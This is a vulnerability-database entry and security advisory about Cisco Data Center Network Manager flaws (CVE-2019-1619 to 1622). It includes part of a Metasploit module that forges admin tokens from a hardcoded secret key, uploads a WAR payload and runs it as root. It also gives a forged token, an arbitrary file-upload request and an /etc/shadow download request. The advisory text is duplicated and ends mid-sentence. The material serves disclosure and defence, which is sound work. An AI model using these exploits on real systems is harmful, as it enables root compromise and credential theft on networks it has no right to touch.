10.4(2)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[3] else print_error("#{peer} - Failed to detect target version.") print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") print_error(res.body) print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass") return targets[3] end end fail_with(Failure::NoTarget, "#{peer} - Failed to determine target") end end def auth_v11 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET', 'vars_get' => { 'userName' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, ) if res && res.code == 200 # get the JSESSIONID cookie if res.get_cookies res.get_cookies.split(';').each do |cok| if cok.include?("JSESSIONID") return cok end end end end end def auth_v10 # step 1: get a JSESSIONID cookie and the server Date header res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET' ) # step 2: convert the Date header and create the auth hash if res && res.headers['Date'] jsession = res.get_cookies.split(';')[0] date = Time.httpdate(res.headers['Date']) server_date = date.strftime("%s").to_i * 1000 print_good("#{peer} - Got sysTime value #{server_date.to_s}") # auth hash format: # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF session_id = rand(1000..50000).to_s md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" md5_str = Base64.strict_encode64(md5) # step 3: authenticate our cookie as admin # token format: sessionId.sysTime.md5_str.username res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'cookie' => jsession, 'vars_get' => { 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" }, 'method' => 'GET' ) if res && res.code == 500 return jsession end end end # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log def get_war_path res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), 'method' => 'GET' ) if res && res.code == 200 tmp = Tempfile.new # we have to drop this into a file first # else we will get a Zip::GPFBit3Error if we use an InputStream File.binwrite(tmp, res.body) Zip::File.open(tmp) do |zis| zis.each do |entry| if entry.name =~ /jboss[0-9]*\.log/ fdata = zis.read(entry) if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/] tmp.close tmp.unlink return $1.strip end end end end end end def exploit target = target_select if target == targets[2] jsession = auth_v11 elsif target == targets[3] jsession = auth_v10 end # targets[1] DCNM 11.1(1) doesn't need auth! if jsession.nil? && target != targets[1] fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") elsif target != targets[1] print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") end war_path = get_war_path if war_path.nil? or war_path.empty? fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs") else print_good("#{peer} - Obtain WAR path from logs: #{war_path}") end # Generate our payload... and upload it app_base = rand_text_alphanumeric(6..16) war_payload = payload.encoded_war({ :app_name => app_base }).to_s fname = app_base + '.war' post_data = Rex::MIME::Message.new post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"") post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"") post_data.add_part(war_payload, "application/octet-stream", 'binary', "form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"") data = post_data.to_s print_status("#{peer} - Uploading payload...") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'POST', 'data' => data, 'cookie' => jsession, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) if res && res.code == 200 && res.body[/#{fname}/] print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...") sleep 10 print_status("#{peer} - Executing payload...") send_request_cgi( 'uri' => normalize_uri(target_uri.path, app_base), 'method' => 'GET' ) else fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file") end end end . DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale. The table below lists the affected versions for each vulnerability: Vulnerability Vulnerable? CVE <= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1) Authentication bypass Yes No No No 2019-1619 File upload Yes, auth Yes, auth Yes, unauth No 2019-1620 File download Yes, auth Yes, auth Yes, unauth No 2019-1621 Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622 The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution. In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure. Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication! All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. To achieve remote code execution with arbitrary file upload vulnerability, an attacker can write a WAR file in the Tomcat webapps folder. The Apache Tomcat server is running as root, meaning that the Java shell will run as root. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions. DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3]. The snippet of code below shows what the servlet does: com.cisco.dcbu.web.client.performance.ReportServlet public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)request.getSession().getAttribute("credentials"); if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) { request.setAttribute("popUpSessionTO", "true"); } this.doInteractiveChart(request, response); } The request is passed on to the verifyToken function, listed below: private boolean verifyToken(HttpServletRequest httpServletRequest) { String token = httpServletRequest.getParameter("token"); if(token == null) { return false; } else { try { FMServerRif serverRif = SQLLoader.getServerManager(); IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString())); token = URLDecoder.decode(token, "UTF-8"); token = token.replace(' ', '+'); FMUserBase fmUserBase = isc.verifySSoToken(token); if(fmUserBase == null) { return false; } else { Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } } } As it can be seen in the line: FMUserBase fmUserBase = isc.verifySSoToken(token); the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session. Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl: public FMUserBase verifySSoToken(String ssoToken) { return SecurityManager.verifySSoToken(ssoToken); } Digging further into SecurityManager.verifySSoToken: com.cisco.dcbu.sm.server.security.SecurityManager public static FMUserBase verifySSoToken(String ssoToken) { String userName = null; FMUserBase fmUserBase = null; FMUser fmUser = null; try { userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } if(fmUserBase == null) { fmUserBase = DCNMUserImpl.getFMUserBase(userName); } if(fmUserBase == null) { fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken)); } } } catch (Exception var5) { _Logger.info("verifySSoToken: ", var5); } return fmUserBase; } As it can be seen in the code above, the username is obtained from the token here: userName = getSSoTokenUserName(ssoToken); Digging yet another layer we find the following: public static String getSSoTokenUserName(String ssoToken) { return getSSoTokenDetails(ssoToken)[3]; } private static String[] getSSoTokenDetails(String ssoToken) { String[] ret = new String[4]; String separator = getTokenSeparator(); StringTokenizer st = new StringTokenizer(ssoToken, separator); if(st.hasMoreTokens()) { ret[0] = st.nextToken(); ret[1] = st.nextToken(); ret[2] = st.nextToken(); for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) { ; } } return ret; } Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username. Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called: public static FMUserBase verifySSoToken(String ssoToken) { (...) userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } (...) } public static boolean confirmSSOToken(String ssoToken) { String userName = null; int sessionId = false; long sysTime = 0L; String digest = null; int count = false; boolean ret = false; try { String[] detail = getSSoTokenDetails(ssoToken); userName = detail[3]; int sessionId = Integer.parseInt(detail[0]); sysTime = (new Long(detail[1])).longValue(); if(System.currentTimeMillis() - sysTime > 600000L) { return ret; } digest = detail[2]; if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) { ret = true; userNameTLC.set(userName); } } catch (Exception var9) { _Logger.info("confirmSSoToken: ", var9); } return ret; } Now we can further understand the token. It seems it is composed of: sessionId + separator + sysTime + separator + digest + separator + username And what is the digest? Let's look into the getMessageDigest function: private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception { String input = userName + sessionid + sysTime + SECRETKEY; MessageDigest md = MessageDigest.getInstance(algorithm); md.update(input.getBytes()); return new String(Base64.encodeBase64((byte[])md.digest())); } It is nothing more than the MD5 of: userName + sessionid + sysTime + SECRETKEY ... and SECRETKEY is a fixed key in the code: private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"; ... while the separator is a ".": private static String getTokenSeparator() { return System.getProperty("security.tokenSeparator", "."); } In summary, this is what happens: The ReportServlet will happily authenticate any request, as long as it receives a token in the following format: sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token: GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user. Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system. Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version. In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below: private boolean verifyToken(HttpServletRequest httpServletRequest) { (...) Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } (...) } The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded". This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it. I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident. On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4]. The code for this servlet is listed below: com.cisco.dcbu.web.client.reports.FileUploadServlet public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); } public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } this.handleUpload(request, response); } The code shown above is simple, and the request is passed onto handleUpload: private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(CONTENT_TYPE); PrintWriter out = null; ArrayList<String> allowedFormats = new ArrayList<String>(); allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); File disk = null; FileItem item = null; DiskFileItemFactory factory = new DiskFileItemFactory(); String statusMessage = ""; String fname = ""; String uploadDir = ""; ListIterator iterator = null; List items = null; ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); TransformerHandler hd = null; try { out = response.getWriter(); StreamResult streamResult = new StreamResult(out); SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance(); items = upload.parseRequest(request); iterator = items.listIterator(); hd = tf.newTransformerHandler(); Transformer serializer = hd.getTransformer(); serializer.setOutputProperty("encoding", "UTF-8"); serializer.setOutputProperty("doctype-system", "response.dtd"); serializer.setOutputProperty("indent", "yes"); serializer.setOutputProperty("method", "xml"); hd.setResult(streamResult); hd.startDocument(); AttributesImpl atts = new AttributesImpl(); hd.startElement("", "", "response", atts); while (iterator.hasNext()) { atts.clear(); item = (FileItem)iterator.next(); if (item.isFormField()) { if (item.getFieldName().equalsIgnoreCase("fname")) { fname = item.getString(); } if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) { uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf"; } atts.addAttribute("", "", "id", "CDATA", item.getFieldName()); hd.startElement("", "", "field", atts); hd.characters(item.getString().toCharArray(), 0, item.getString().length()); hd.endElement("", "", "field"); atts.clear(); continue; } ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream()); Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream); ImageReader imageReader = null; if (imageReaders.hasNext()) { imageReader = imageReaders.next(); } try { String imageFormat = imageReader.getFormatName(); String newFileName = fname + "." + imageFormat; if (allowedFormats.contains(imageFormat.toLowerCase())) { FileFilter fileFilter = new FileFilter(); fileFilter.setImageTypes(allowedFormats); File[] fileList = new File(uploadDir).listFiles(fileFilter); for (int i = 0; i < fileList.length; ++i) { new File(fileList[i].getAbsolutePath()).delete(); } disk = new File(uploadDir + File.separator + fname); item.write(disk); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); } imageReader.dispose(); imageInputStream.close(); atts.addAttribute("", "", "id", "CDATA", newFileName); } catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); } hd.startElement("", "", "file", atts); hd.characters(statusMessage.toCharArray(), 0, statusMessage.length()); hd.endElement("", "", "file"); } hd.endElement("", "", "response"); hd.endDocument(); out.close(); } catch (Exception e) { out.println(e.getMessage()); } } handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname". However, there is a catch... the file has to be a valid image with one of the extensions listed here: allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this: try { String imageFormat = imageReader.getFormatName(); ... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block: catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); ... meaning that the file contents, upload dir and its name are sent into processUploadedFile. Let's look into that now: private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception { try { int offset; int contentLength = (int)item.getSize(); InputStream raw = item.getInputStream(); BufferedInputStream in = new BufferedInputStream(raw); byte[] data = new byte[contentLength]; int bytesRead = 0; for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) { } in.close(); if (offset != contentLength) { throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes"); } FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname); out.write(data); out.flush(); out.close(); } catch (Exception ex) { throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage()); } } Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated. In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root. If we send the following request: POST /fm/fileUpload HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Content-Length: 429 Content-Type: multipart/form-data; boundary=---------------------------9313517619947 -----------------------------9313517619947 Content-Disposition: form-data; name="fname" owned -----------------------------9313517619947 Content-Disposition: form-data; name="uploadDir" /tmp/ -----------------------------9313517619947 Content-Disposition: form-data; name="filePath"; filename="whatever" Content-Type: application/octet-stream <any text or binary content here> -----------------------------9313517619947-- The server will respond with: HTTP/1.1 200 OK X-FRAME-OPTIONS: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Date: Mon, 03 Sep 2018 00:57:11 GMT Connection: close Server: server <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE response SYSTEM "response.dtd"> <response> <field id="fname">owned</field> <field id="uploadDir">/tmp/</field> <file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file> </response> And our file has been written as root on the server: [root@dcnm_vm ~]# ls -l /tmp/ (...) -rw-r--r-- 1 root root 16 Sep 2 17:57 owned (...) Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution. A Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5]. The code below shows the servlet request processing code: com.cisco.dcbu.web.client.util.DownloadServlet public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } String showFile = (String)request.getAttribute("showFile"); if (showFile == null) { showFile = request.getParameter("showFile"); } File f = new File(showFile); if (showFile.endsWith(".cert")) { response.setContentType("application/octet-stream"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;"); } else if (showFile.endsWith(".msi")) { response.setContentType("application/x-msi"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } else if (showFile.endsWith(".xls")) { response.setContentType("application/vnd.ms-excel"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } ServletOutputStream os = response.getOutputStream(); FileInputStream is = new FileInputStream(f); byte[] buffer = new byte[4096]; int read = 0; try { while ((read = is.read(buffer)) > 0) { os.write(buffer, 0, read); } os.flush(); } catch (Exception e) { LogService.log(LogService._WARNING, e.getMessage()); } finally { is.close(); } } } As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action: Request: GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Response: HTTP/1.1 200 OK root:$1$(REDACTED).:17763:0:99999:7::: bin:*:15980:0:99999:7::: daemon:*:15980:0:99999:7::: adm:*:15980:0:99999:7::: lp:*:15980:0:99999:7::: (...) An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code. A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6]. To access it, simply request: GET /fm/log/fmlogs.zip Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet. >> Fix: For #1, upgrade to DCNM 11.0(1) and above [3]. For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5]. For #4, it is not clear from Cisco's advisory on which version it was fixed [6]. >> References: [1] https://www.accenture.com/us-en/service-idefense-security-intelligence [2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex [5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld [6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl >> Disclaimer: Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market. All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business
VAR-201906-0568 CVE-2019-1621 Cisco Data Center Network Manager Vulnerabilities related to authorization, permissions, and access control CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to gain access to sensitive files on an affected device. The vulnerability is due to incorrect permissions settings on affected DCNM software. An attacker could exploit this vulnerability by connecting to the web-based management interface of an affected device and requesting specific URLs. A successful exploit could allow the attacker to download arbitrary files from the underlying filesystem of the affected device. Information obtained may aid in further attacks. This issue being tracked by Cisco Bug ID CSCvo64651. DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale. The table below lists the affected versions for each vulnerability: Vulnerability Vulnerable? CVE <= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1) Authentication bypass Yes No No No 2019-1619 File upload Yes, auth Yes, auth Yes, unauth No 2019-1620 File download Yes, auth Yes, auth Yes, unauth No 2019-1621 Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622 The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution. In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure. Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication! All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. The Apache Tomcat server is running as root, meaning that the Java shell will run as root. Agile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions. DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3]. The snippet of code below shows what the servlet does: com.cisco.dcbu.web.client.performance.ReportServlet public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)request.getSession().getAttribute("credentials"); if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) { request.setAttribute("popUpSessionTO", "true"); } this.doInteractiveChart(request, response); } The request is passed on to the verifyToken function, listed below: private boolean verifyToken(HttpServletRequest httpServletRequest) { String token = httpServletRequest.getParameter("token"); if(token == null) { return false; } else { try { FMServerRif serverRif = SQLLoader.getServerManager(); IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString())); token = URLDecoder.decode(token, "UTF-8"); token = token.replace(' ', '+'); FMUserBase fmUserBase = isc.verifySSoToken(token); if(fmUserBase == null) { return false; } else { Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } } } As it can be seen in the line: FMUserBase fmUserBase = isc.verifySSoToken(token); the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session. Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl: public FMUserBase verifySSoToken(String ssoToken) { return SecurityManager.verifySSoToken(ssoToken); } Digging further into SecurityManager.verifySSoToken: com.cisco.dcbu.sm.server.security.SecurityManager public static FMUserBase verifySSoToken(String ssoToken) { String userName = null; FMUserBase fmUserBase = null; FMUser fmUser = null; try { userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } if(fmUserBase == null) { fmUserBase = DCNMUserImpl.getFMUserBase(userName); } if(fmUserBase == null) { fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken)); } } } catch (Exception var5) { _Logger.info("verifySSoToken: ", var5); } return fmUserBase; } As it can be seen in the code above, the username is obtained from the token here: userName = getSSoTokenUserName(ssoToken); Digging yet another layer we find the following: public static String getSSoTokenUserName(String ssoToken) { return getSSoTokenDetails(ssoToken)[3]; } private static String[] getSSoTokenDetails(String ssoToken) { String[] ret = new String[4]; String separator = getTokenSeparator(); StringTokenizer st = new StringTokenizer(ssoToken, separator); if(st.hasMoreTokens()) { ret[0] = st.nextToken(); ret[1] = st.nextToken(); ret[2] = st.nextToken(); for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) { ; } } return ret; } Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username. Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called: public static FMUserBase verifySSoToken(String ssoToken) { (...) userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } (...) } public static boolean confirmSSOToken(String ssoToken) { String userName = null; int sessionId = false; long sysTime = 0L; String digest = null; int count = false; boolean ret = false; try { String[] detail = getSSoTokenDetails(ssoToken); userName = detail[3]; int sessionId = Integer.parseInt(detail[0]); sysTime = (new Long(detail[1])).longValue(); if(System.currentTimeMillis() - sysTime > 600000L) { return ret; } digest = detail[2]; if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) { ret = true; userNameTLC.set(userName); } } catch (Exception var9) { _Logger.info("confirmSSoToken: ", var9); } return ret; } Now we can further understand the token. It seems it is composed of: sessionId + separator + sysTime + separator + digest + separator + username And what is the digest? Let's look into the getMessageDigest function: private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception { String input = userName + sessionid + sysTime + SECRETKEY; MessageDigest md = MessageDigest.getInstance(algorithm); md.update(input.getBytes()); return new String(Base64.encodeBase64((byte[])md.digest())); } It is nothing more than the MD5 of: userName + sessionid + sysTime + SECRETKEY ... and SECRETKEY is a fixed key in the code: private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"; ... while the separator is a ".": private static String getTokenSeparator() { return System.getProperty("security.tokenSeparator", "."); } In summary, this is what happens: The ReportServlet will happily authenticate any request, as long as it receives a token in the following format: sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token: GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also 